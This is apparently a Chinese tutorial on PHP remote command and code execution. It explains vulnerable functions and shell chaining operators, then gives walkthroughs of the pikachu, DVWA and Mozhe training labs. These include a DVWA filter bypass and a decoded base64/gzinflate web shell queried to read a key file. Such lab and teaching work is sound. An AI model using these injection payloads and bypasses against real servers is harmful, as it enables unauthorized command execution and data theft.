RCE 远程命令代码执行漏洞
什么是REC
Remote Command/Code Execute,远程命令或者代码执行。通过构造特殊的字符串,将数据提交到WEB应用程序,并利用该方式外部程序或命令进行攻击,类似SQL注入。
Web应用程序使用了一些可以执行系统命令,或者代码的函数,由于对用户提交的数据过滤不严格,导致黑客可以利用服务器执行命令或者代码
漏洞形成条件:可控变量,漏洞函数
可控变量:可以控制的变量,就是通过url的传参,通过上面的参数值,来改变变量值。
漏洞函数:使用哪个函数,对这个变量进行操作,这个函数的作用,就变成了这个漏洞的作用,
如果你这个函数的作用是文件上传,那么就会造成文件上传的漏洞,如果函数的作用是执行代码,那么就会造成执行代码的漏洞,以此类推。
以上结论:漏洞是什么类型的由使用的函数来决定,漏洞是否存在由传递的变量来决定,如果没有可控的变量,那么就意味没有漏洞
1.远程代码执行漏洞
PHP相关敏感函数
(1) eval()函数
作用:如果参数是PHP代码(字符串类型),会作为PHP的代码来执行,并且以分号结尾
1.将php的代码作为eval的参数
eval('echo 2+2');
2.eval的参数来自于用户输入
eval($_GET['code']);
url
http://127.0.0.1/websec/day03/rec1.php?code=phpinfo();
phpinfo()函数:
功能:可以输出我们php服务器相关的信息
总结:如果给的eval函数所传递的字符串是由用户传递进来的,是一个可执行的PHP语句,则该函数对语句内容执行,如果所执行的语句具有一定的危害性,则形成漏洞,无法保证数据安全
2.assert();函数
作用:函数的本意并不是用于执行代码的,是程序员用来调式代码用的,但是如果第一个参数是字符串,他会被assert()当作PHP代码执行 。
assert()参数来自用户输入
assert($_GET['code']);
url
http://127.0.0.1/websec/day03/rec1.php?x=phpinfo();
3.preg_replace()函数
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject)
作用:搜索$subject中匹配$pattion的部分,以$replacement,进行替换。如果所替换的内容为可执行函数,则该函数会被执行
e修政府使preg_replace(),将replacement参数当作PHP代码执行。提示:要确保 replacement构成一个合法的PHP代码字符串,否者PHP会在报告包含preg_replace()的行中出现语法解析错误
演示函数,没有使用e前
echo perg_replace('/gum/','yyds','gum');
作用:在第三个参数和第一个参数进行匹配,如果找到了,把第一个参数替换成第二个参数
替换成功
使用e修正后,接受来自用户输入参数
echo preg_replace('/gum/e',$_GET['code'],'gum');
url:
http://127.0.0.1/websec/day03/rec1.php?code=phpinfo();
4.call_user_func()函数
call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed
第一个参数callable是被调用的回调函数,其余参数是回调函数的参数
call_user_func('phpinfo');
这里不是调用函数,直接写函数名行了
以上是远程代码执行的敏感相关函数。
2.远程命令执行漏洞
什么是命令执行?
比如说查看计算机的相关信息,比如文件读写的操作,文件的删除操作等,这些功能命令都可以实现的,也就意味着这个漏洞也是可以去做这样,可以实现的
操作系统:Windows Linux
以下是远程命令执行的相关函数
(如果出现乱码的问题,把编码格式改成GBK)
1.exec()函数
作用:执行命令,只会输出命令执行结果的最后一行
$cmd=$_GET['cmd'];
echo exec($cmd);
url:
http://127.0.0.1/websec/day03/rec2.php?cmd=dir;
2.shell_exec()函数:
作用:执行命令,输出所有结果
$cmd=$_GET['cmd'];
echo shell_exec($cmd);
url:
http://127.0.0.1/websec/day03/rec2.php?cmd=dir
3 ` 反撇号(键盘左上角)
作用:执行命令,输出所有结果
$cmd=$_GET['cmd'];
echo `$cmd`;
url:
http://127.0.0.1/websec/day03/rec2.php?cmd=dir
4.system():函数
作用:执行命令,执行外部程序并且输出结果(操作系统与环境)
注意:system函数不管是linux还是windows操作系统的都可以执行,他会自动区分命令。(如果你的服务器是windows的话输入linux的命令是不会返回结果的,以此类推)
windows
$win=&_GET['W'];
echo system($win);
url:
http://127.0.0.1/websec/day03/rec2.php?w=ipconfig
这边 Linux我就不演示,如果是服务器是Linux系统的话,改成linux命令就好了
3.命令连接符
1.&& 同生共死
cmd1&&cm2
cmd1执行成功,才会执行cmd2,如果cmd1执行不成功那么cmd2不会执行
cmd1执行成功
echo `whoami&&dir`;
cmd1执行失败
echo `pwd&&dir`;
ps:这里执行失败因为我的服务器是windows cmd1是linux的 命令
2. & 陌生人
cmd1&cmd2
不管cmd1是否执行成功,cmd2都会执行,不受到cm1的影响
echo `pwd&&dir`
3.|| 你死我活
cmd1||cmd2
如果cmd1执行成功了,cmd2不执行,如果cmd1执行失败了,cmd2执行(二者只能有1,缺心眼行为)
cmd1执行成功,cmd2不执行
echo `whoami||dir`;
cmd1执行失败,cmd2执行
echo `pwd||dir`;
4. | 管道符
cmd1|cm2 (cmd1的输出会作为cmd2的输入)
没有cmd1的结果,只有cmd2的结果。
echo `ipconfig|dir`;
echo `pwd|dir`;
不显示结果。
这个没啥好说的,我就不演示了。知道管道符是干啥用的都可以理解
靶场实验 pikachu dvwa 墨者
1.pikachu
1.eval()
首先我先抓一个包看一下他这个服务器是windows系统还是linux的系统
那么说明eval函数在这里字符串 类型可以作为php代码执行,直接实验phpinfo()函数,
获取他 php的配置信息
呐,这不是就出来了
2.ping (命令执行漏洞)
2.DVWA
等级:low
查看一下原代码
可以看出没有对连接符进行过滤
等级:medium
查看原代码
这里可以看到对&& 和; 过滤了,只要绕过这两个就好了
等级:high
查看源代码:
在源代码可以看出,程序员对所有的命令拼接符都过滤了,那么我是怎么绕过的呢?
注意看| 的位置 ,他的单引号在多了一个空格,说明他程序员在进行过滤的时候不小心加了一个空格,并不是他的本意,正是因为他加了这个空格本来是对|这个连接符进行了过滤,但是他在|的后面多了一个空格,就变成了过滤|空格 ,那么只要在输入|的时候后面不要加空格就可以绕过了。大家可以去试试,如果加了空格是否 还能绕过。
3.墨者靶场
1.命令注入执行分析
1.这里可以看出这是一个ping的命令远程漏洞
2.判断服务器的操作系统,输入远程命令
先抓一个包
抓到服务器Ubuntu,可以得出结论是Linux系统。
3.使用BP,抓包修改数据
4.得到结果
5.拿key
继续抓包修改数据
6.拿到key
2.PHP代码分析溯源(第4题)
靶场页面
-------------当前页面源码----key在根目录------------------
<?php
eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?>
这里使用了base64,加密和压缩的编码
直接把eval修改成echo直接输出
修改后
-------------当前页面源码----key在根目录------------------
<?php
echo (gzinflate(base64_decode("40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==")));
?>
保存执行
执行后得到的结果
echo `$_REQUEST[a]`;; ?>
猜测原语句
eval(echo `$_REQUEST[a]`;; ?> )
发现命令执行漏洞,键名=a,直接传入参数
url:
http://124.70.91.203:46127/f.php?a=ls
页面:
拿key
url:
http://124.70.91.203:46127/f.php?a=tac<key_122152022015454.php
这里的的tac是个坑,本来我输入的是cat但是使用cat无法查看,就使用了tac,tac这个命令就是从倒数第一行开始查看,最后我才拿到了key
这里大家可能会质疑eval()不是代码执行的漏洞吗?怎么变成命令执行了?
因为eval(echo `$_REQUEST[a]`;; ?> )这里的echo,因为这个服务器是linux的在linux中echo代表的是linux的命令 ,所以他这个漏洞就成为了命令执行的漏洞
RCE防御措施
1.对命令连接符使用黑名单
2。如果要求输入ip地址的话,对IP地址做严格的过滤(可以参考DWAV最后一关无效的防御方案)
RCE 远程命令代码执行漏洞相关推荐
- 远程命令/代码执行漏洞(RCE)总结
介绍 Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的.PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一. 当应用需要调 ...
- RCE详解(远程命令/代码执行漏洞)
1.RCE(remote command/code execute)概述 RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统. 远程系统命令执行 一般出现这种漏洞, ...
- php cgi远程控制,php cgi远程任意代码执行漏洞
国外又发布了一个牛逼闪闪的php cgi远程任意代码执行漏洞:http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ 粗看一下貌似没啥 ...
- Apache Log4j2远程JNDI代码执行漏洞修复
#漏洞简介 Apache Log4j2远程代码执行漏洞 当打印的日志含有${字符串时程序会使用lookup解析要打印的字符串,执行任意远程代码,框架没有做相应的过滤导致注入.官网已经在2.16.0(j ...
- 不能执行已释放 script 的代码_[漏洞预警]CVE20190708远程桌面代码执行漏洞利用工具已放出...
漏洞描述 2019年5月14日微软官方发布安全补丁,修复了Windows远程桌面服务的远程代码执行漏洞,该漏洞影响了许多版本的Windows操作系统.该漏洞在不需身份认证的情况下即可远程触发,危害与影 ...
- hp代码改成linux代码,HP Database Archiving Software远程任意代码执行漏洞
发布日期:2011-12-29 更新日期:2011-12-31 受影响系统: HP HP Database Archiving Software 6.31 描述: ------------------ ...
- java list%3ca%3e排序_Apache Solr 远程命令+XXE执行漏洞(CVE-2017-12629)
Apache Solr 最近有出了个漏洞预警,先复习一下之前的漏洞 #命令执行 ##先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数 POST /solr/de ...
- [ MSF使用实例 ] 利用远程桌面代码执行漏洞(MS12-020)漏洞导致windows靶机蓝屏
- CVE-2021-30461 - VoIPMonitor未授权远程代码执行漏洞
VoIPMonitor未授权远程代码执行漏洞 0X001前言 0X002 漏洞影响 0X003 漏洞原理 0X004 漏洞复现 0X041 空间搜索寻找目标 0X042 测试代码执行 0X005 PO ...
最新文章
- 台式计算机怎么加一个硬盘,如何再安装一个台式计算机硬盘驱动器?如何在计算机安装中添加额外的硬盘...
- LeetCode Algorithm 589. N 叉树的前序遍历
- QT的事件分发、事件过滤器详解
- Tensorflow 加载预训练模型和保存模型
- C#LeetCode刷题之#443-压缩字符串​​​​​​​(String Compression)
- 算法:Majority Element(求众数)
- jmeter接口压力测试详解
- mysql有varchar2吗_char、varchar、varchar2区别
- js中的symbol详解
- jeecg-boot环境搭建
- 智慧公厕智能镜子厕所管理系统一站式服务
- 问题1:老毛桃一键装机打开后安装目录只显示u盘
- Oracle日期函數
- Revit轴网绘制中怎么生成轴网?
- git命令切换分支、更新分支
- CES Asia:足不出户也能享受天文奇观
- 静态时序分析(STA) —— 时序检查
- 【Linux】VIM命令(全面详解)
- 上海海事大学本科毕业论文答辩和论文选题PPT模板
- Machine Learning and Application in Terahertz Technology: A Review on Achievements